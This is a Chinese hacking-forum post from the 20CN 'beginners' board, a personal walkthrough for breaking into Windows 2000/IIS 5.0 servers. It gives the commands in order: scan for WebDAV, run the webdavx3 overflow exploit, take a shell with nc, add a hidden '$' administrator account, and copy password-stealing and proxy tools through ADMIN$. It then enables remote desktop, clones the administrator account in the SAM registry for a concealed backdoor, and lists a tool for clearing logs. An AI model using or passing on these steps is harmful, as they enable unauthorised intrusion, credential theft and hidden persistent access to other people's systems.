20CN网络安全小组论坛 - 菜鸟乐园 - 【原创】菜鸟入侵总结(完全个人经验谈）

论坛: 菜鸟乐园标题: 【原创】菜鸟入侵总结(完全个人经验谈）

作者: drckness [drckness]

论坛用户

嘿嘿，写得不好多多见笑！

遇上非典，本菜鸟正好在家，于是不能去学校了。天天上网！

以前总是给自己说学HACKING！！可是总是沉不下气，放不下心。现在老天
让我在家呆着，终于有了突破！下面是我的经验，希望能对大家有点帮助！
经过这几天的学习和实践，总结出菜鸟的几大方向：
出于菜鸟的考虑，你自己发现和找到漏洞的机会不大！所以要多看看别人对已知已公开

的漏洞的评述。这很重要！

然后你就根椐这些漏洞去找溢出工具。（高手可能会笑了，不用笑我们是菜鸟嘛）有了

这些溢出工具你进入对方就有了一把可能性的钥匙！

现在太多的人在讨论NET命令！FINDPASS,PSU，LC4,SAM……可是真正实践的却不多！关

建是你要有台能远程利用的电脑！这是关建所以溢出工具必不可少（如：

WEBDAVX3.EXE,IDAHACK,……)有了它们对你的进步是很大的。总在说大道理大家一定认

为我在吹！下面是我亲身经历，希望对大家能有点借鉴作用！

准备好你的工具：WEBDAVX3.EXE （这个现在正好用嘿嘿）WEBDAVSCAN.EXE(扫描用）

NC.EXE（菜鸟都有吧）PSU（克超管时用得着)FINDPASS.EXE PULIST.EXE(运气好的话可

以用来取ADMINISTRATOR密码）SkSockServer.exe SOCKCAP.EXE9（这两个用来做SOCKS5

代理）ClearEl.EXE（用来清日志）ROTS.vbs
如果人上面还没有准备好的话我想你得去GOOGLE去好好找了当初我就找了好几天晕～

好了开始进攻。打开WBDAVSCAN填上一个IP段，最多二分钟，找到WINDOWS2000/IIS5.0（

WEBDAV对IIS4.0没有作用）后面标志为ENABLE的IP。
在IE上打开对方的网站(也可能对方没有但是IIS开着就得看一下，呵呵我的习惯）在本

机上开一个SHELL
敲入以下命令
D:\>webdavx3.exe 192.168.0.1
IIS WebDAV overflow remote exploit by isno@xfocus.org
start to try offset,
if STOP a long time, you can press ^C and telnet 192.168.0.0.1 7788
……
慢慢的等吧当出现提示IIS重启的时候你的肉鸡就快要到手了。（默认安装的IIS是不会

被溢出的，只有安装了WEBDAV的机子才可能有）
if STOP a long time, you can press ^C and telnet 192.168.0.0.1
明白这句吧，呵呵
你可以按CTRL+C了。
下面用NC -VV 192.168.0.1 7788
如果成攻你将得到一个SHELL！
接下来
NET USER DRCKNESS$ 11111 /ADD
NET LOCALGROUP ADMINISTRATORS DRCKNESS$ /ADD
这几天打上面两个命令手都打木了呵呵。
加个$是对方在命令行下用NET USER看你不到，更为后面的工作做准备！

然后你可以再在本机上开一个SHELL！
NET USE \\192.168.0.1\IPC$ "11111" /USER:"DRCKNESS$"
命令成攻

下面拷这几个软件到肉鸡里面！
PSU（克超管时用得着)FINDPASS.EXE PULIST.EXE(运气好的话可以用来取ADMINISTRATOR

密码）SkSockServer.exe SOCKCAP.EXE9（这两个用来做SOCKS5代理）
命令是：
COPY *.EXE \\192.168.0.1\ADMIN$\SYSTEM32

然后
cscript ROTS.vbs <IP> <用户名> <密码> 3389 -R
上面的命令不用我说你也知道是做什么的，呵呵开启对方的3389

接下来用终端服务客户端连上对方的3389。用户名：DRCKNESS$

爽！进去了。

下面是在肉鸡上的操作！
打开一个SHELL
执行下面的命令：
PSU -P REGEDIT -I PID
这个命令将打开对方的注册表编辑器！
其中-P和-I为参数， PID的值是这样得来的－－在命令行下敲下taskmgr.exe 查一下进

程中WINLOGO.EXE的PID值
好了记下这个数字填进去！

回车后注册表编辑器打开，按以下方法操作！

找到下面的项：
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users]
将DRCKNESS$ 克成跟ADMINISTRATOR一样的帐号并导出
（具体克隆超管的方法，自己去查了，呵呵)
然后再在命令行下
NET USER DRCKNESS$ /DEL
一定要在命令行下删除。
再将导出的两个REG文件导入！OK！
你将在用户管理里面看不到DRCKNESS$
同样因为后面加了$你在命令行下
也看不到。
此时我们有了一个隐藏的帐号后门（可以这么说吧嘿嘿）

……
今天先写到这儿吧，明天接着写。呵呵，写得不好别见笑，不过真的是亲身体会呀！太累了……

（须便宣传一下自己的小站，很菜的免费ASP空间里放的，呜呜没钱买呀）
http://www.zgou.com/
给点支持，嘿嘿

[此贴被 drckness(drckness) 在 05月15日14时20分编辑过]

[此贴被 drckness(drckness) 在 05月15日19时38分编辑过]

[此贴被 drckness(drckness) 在 05月21日12时14分编辑过]

[此贴被 drckness(drckness) 在 01月18日18时30分编辑过]

地主发表时间: 05/14 17:30